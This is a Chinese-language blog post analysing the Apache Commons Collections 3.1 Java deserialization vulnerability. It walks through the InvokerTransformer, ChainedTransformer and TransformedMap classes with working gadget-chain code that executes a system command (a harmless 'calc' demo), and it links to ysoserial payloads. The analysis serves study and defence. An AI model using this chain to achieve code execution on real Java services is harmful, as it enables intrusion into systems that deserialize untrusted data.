Apache Commons Collections反序列化漏洞

Apache Commons Collections<=3.2.1反序列化漏洞是Java反序列化的经典漏洞,Apache-commons-collections组件为Java提供了很多基础常用且强大的数据结构,方便开发。本次分析的版本选择3.1。

Apache Commons Collections反序列化漏洞的最早的commit记录是2015年1月29日,说明这个漏洞可能早在2014年甚至更早就已经被人所利用,利用方式被人公开后直接引发了Java生态系统的大地震,与此同时Java反序列化漏洞仿佛掀起了燎原之势,无数的使用了反序列化机制的Java应用系统惨遭黑客疯狂的攻击,为企业安全甚至是国家安全带来了沉重的打击!(摘自javasec.org)

环境搭建

Apache Commons Collections<=3.2.1反序列化漏洞是Java反序列化的经典漏洞,Apache-commons-collections组件为Java提供了很多基础常用且强大的数据结构,方便开发。本地分析的版本选择3.1。

创建一个简单的maven项目(比如maven-archetype-quickstart):

image-20200418150424803

pom.xml添加依赖:

image-20200418150541926

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

漏洞分析

触发点

定位到org.apache.commons.collections

漏洞的主要问题出现在InvokerTransformer类的transform方法,这个类实现了TransformerSerializable接口,意味着这个类是可以被序列化的。

Transformer接口定义了将输入对象转换为输出对象的方法,如下:

image-20200418151550815

InvokerTransformer类对transform方法进行了实现,如下:

image-20200418151203090

根据InvokerTransformer类的实现方式我们可以知道,大致逻辑为会获取输入类的类对象,根据输入的方法名(iMethodName)和参数类型(iParamTypes)获取指定的反射方法对象,接下来反射调用指定的方法并返回方法调用结果。

通过刚才的分析,可以发现直接使用InvokerTransformer类便可进行命令执行。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) {
String cmd = "calc";

// 构建transformer对象
InvokerTransformer transformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{cmd}
);

// 传入Runtime实例,执行对象转换操作
transformer.transform(Runtime.getRuntime());
}

image-20200418152453440

真实场景中,没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的。但这也在另一方面说明此处可以触发命令执行的漏洞,接下来开始寻找利用链。

寻找利用链

接下来是另外一个重要的类ChainedTransformer,该类同样实现了TransformerSerializable接口,也可以被序列化。

该类对transform方法的实现逻辑如下:

image-20200418153410965

从实现逻辑上可以看出,该方法会对iTransformers数组中的对象依次调用其transform方法。并将上一次调用的结果对象传入。

接来下需要考虑如何将Runtime对象传入,作为初始的objectInvokerTransformertransform方法调用。

恰巧ConstantTransformer类存在transform方法,并直接返回构造时传入的对象。

代码如下:

image-20200418154538388

利用上面提到的几个类,构造如下利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "calc";

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);

// 执行对象转换操作
transformedChain.transform(null);
}

大致逻辑为首先调用ConstantTransformer类的transform方法返回java.lang.Runtime对象,

接下来调用InvokerTransformer类的transform方法获取java.lang.reflect.Method的方法对象,方法为getRuntime

再次调用InvokerTransformer类的transform方法反射调用getRuntime方法,获取Runtime类的实例,

再次调用InvokerTransformer类的transform方法执行Runtime类的exec方法,进行命令执行。

对上述调用过程进行简化,代码和输入结果如下:

image-20200418170952468

思考

通过输出结果,可以发现有两次java.lang.Runtime对象,为何不直接调用exec方法进行命令执行?

通过查看Runtime类的代码可知,Runtime类的构造方法为私有,只能通过静态方法获取实例。很明显的单例模式。

代码如下:

image-20200418172744432

因此第一次获取的java.lang.Runtime对象并未实例化,无法执行exec方法。

1
2
3
4
5
6
7
8
9
代码:
System.out.printf(Runtime.class.toString() + "\n");
System.out.printf(Runtime.class.getClass().toString() + "\n");
System.out.printf(Runtime.getRuntime().getClass().toString() + "\n");

输出:
class java.lang.Runtime
class java.lang.Class
class java.lang.Runtime

触发利用链-1

上述分析解决了如何利用漏洞触发点并构造利用链进行命令执行,现在已经使用InvokerTransformer触发点创建了一个含有恶意调用链的Transformer类的Map对象,接着我们应该思考如何才能够将调用链窜起来并执行。

TransformedMap类间接的实现了java.util.Map接口,同时支持对Mapkey或者value进行Transformer转换,调用decoratedecorateTransform方法就可以创建一个TransformedMap

image-20200418182946556

只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行。

使用TransformedMap类的setValue触发transform示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
String cmd = "calc";

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);


// 创建Map对象
Map map = new HashMap();
map.put("value", "value");

// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

// transformedMap.put("v1", "v2");// 执行put也会触发transform

// 遍历Map元素,并调用setValue方法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;

// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}

System.out.println(transformedMap);

}

上述代码向我们展示了只要在Java的API中的任何一个类实现了java.io.Serializable接口,并且可以传入我们构建的TransformedMap对象还要有调用TransformedMap中的setValue/put/putAll中的任意方法一个方法的类,我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE

触发利用链-2

除了TransformedMap类触发反序列漏洞,ysoserial还提供了多种基于InstantiateTransformer/InvokerTransformer构建调用链方式:LazyMap、PriorityQueue、BadAttributeValueExpException、HashSet、Hashtable、AnnotationInvocationHandler等。

地址(带有CommonsCollections的文件):

1
https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads

参考

1
https://javasec.org/javase/JavaDeserialization/Collections.html
Author: Sys71m
Link: https://www.sys71m.top/2020/04/18/Apache Commons Collections反序列化漏洞/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.